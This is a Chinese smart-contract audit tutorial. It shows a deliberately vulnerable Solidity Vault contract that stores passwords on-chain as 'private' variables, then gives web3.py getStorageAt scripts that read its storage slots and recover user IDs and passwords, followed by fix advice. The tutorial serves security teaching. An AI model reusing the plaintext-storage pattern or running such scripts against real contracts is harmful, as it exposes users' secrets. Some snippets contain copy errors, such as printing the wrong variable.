前言
在【区块链安全 | 第三十七篇】合约审计之获取私有数据(一)中,介绍了私有数据、访问私有数据实例、Solidity 中的数据存储方式等知识,本文通过分析具体合约代码进行案例分析。
漏洞代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
// 公共变量,可以通过 getter 函数读取
// slot 0
uint public count = 123;
// 部署合约的地址会成为 owner
// slot 1
address public owner = msg.sender;
// 示例布尔值和 uint16 类型变量
// slot 1
bool public isTrue = true;
uint16 public u16 = 31;
// 私有密码变量,不能通过合约外部直接访问
// slot 2
bytes32 private password;
// 常量值,在部署时就固定,不可更改
// 编译时嵌入,不占 slot
uint public constant someConst = 123;
// 固定长度的 bytes32 数组,长度为 3
// slot 3、slot 4、slot 5
bytes32[3] public data;
// 用户结构体,包含用户 ID 和密码字段
struct User {
uint id;
bytes32 password;
}
// 用户动态数组,仅限内部访问
// slot 6
User[] private users;
// 映射:通过用户 ID 查找对应的用户结构体
mapping(uint => User) private idToUser;
// 构造函数,在部署时设置初始密码
constructor(bytes32 _password) {
password = _password;
}
// 添加新用户,自动分配 ID,并存储在数组和映射中
function addUser(bytes32 _password) public {
User memory user = User({
id: users.length,
password: _password
});
users.push(user);
idToUser[user.id] = user;
}
// 工具函数:用于计算数组中元素的 storage 位置
function getArrayLocation(
uint slot,
uint index,
uint elementSize
) public pure returns (uint) {
return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);
}
// 工具函数:用于计算映射中某个键的 storage 位置
function getMapLocation(uint slot, uint key) public pure returns (uint) {
return uint(keccak256(abi.encodePacked(key, slot)));
}
}
代码审计
从上述 Vault 合约代码可以看出,合约将用户的敏感信息(如用户名与密码)直接存储在链上。尽管使用了 private 关键字对变量进行了访问限制,但在区块链中,所有合约数据都是公开可见的。private 仅限制了其他合约或外部账户通过函数调用访问变量的能力,但无法阻止任何人通过读取链上存储数据(storage)来获取这些信息。
下面展示如何获取敏感数据。
攻击步骤
攻击前提:Vault 合约已部署在链上。
首先,我们可以通过以下方式读取合约中第一个存储槽(slot 0)中的 uint 类型变量 count 的值:
slot0 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x0')
print(w3.toHex(slot0))
这里结果是以十六进制形式输出的:
0x000000000000000000000000000000000000000000000000000000000000007b
对其转换得到十进制123:
因此 count 的值为123。
再通过该脚本:
slot1 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x1')
print(w3.toHex(slot0))
得到:
0x00000000000000000001f01f36467c4e023c355026066b8dc51456e7b791d99
从右往左依次为
- owner = f36467c4e023c355026066b8dc51456e7b791d99
- isTrue = 01 = true
- u16 = 1f = 31
再通过该脚本获取 slot 2,其中存有私有变量 password:
slot2 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x2')
print(w3.toHex(slot0))
得到:
0x4141414242424343430000000000000000000000000000000000000000
现在我们想获取用户的用户名密码,则需要访问 slot 6 的内容。
由于 User 是一个结构体:
struct User {
uint id; // 32 bytes,占用 1 slot
bytes32 password; // 32 bytes,占用 1 slot
}
所以,每个 User 占用两个连续的 storage slot。
因此,通过【区块链安全 | 第三十七篇】合约审计之获取私有数据(一)的知识,我们可以知道,在该变长数组中:
- users[0].id 存在 keccak256(6) = 0xf652…3f
- users[0].password 存在 keccak256(6) + 1 = 0xf652…40
因此可以通过如下语句访问 user1 的 ID 与密码:
user1ID = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f")
print('user1的ID是'+w3.toHex(user1ID))
user1password = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40")
print('user1的密码是'+w3.toHex(user1password))
输出如下:
同理,user2ID 与 user2password 的地址依次递增,通过该脚本即可读取:
user2ID = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d41")
# 末尾改为41
print('user2的ID是'+w3.toHex(user2ID))
user2password = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d42")
# 末尾改为42
print('user2的密码是'+w3.toHex(user2password))
输出如下:
综上,我们通过分析、操作得到了该合约的私有数据。
修复/开发建议
谨记以下三条原则:
1.敏感数据(如密码)不应以明文形式存储在链上;
2.在上链前对数据进行哈希处理(例如,仅存储 keccak256(password) 的结果);
3.使用 private 无法阻止链上其他人读取。
审计思路
在审计过程中,应特别关注合约中是否存在敏感数据的存储,例如密钥、游戏通关口令等关键信息。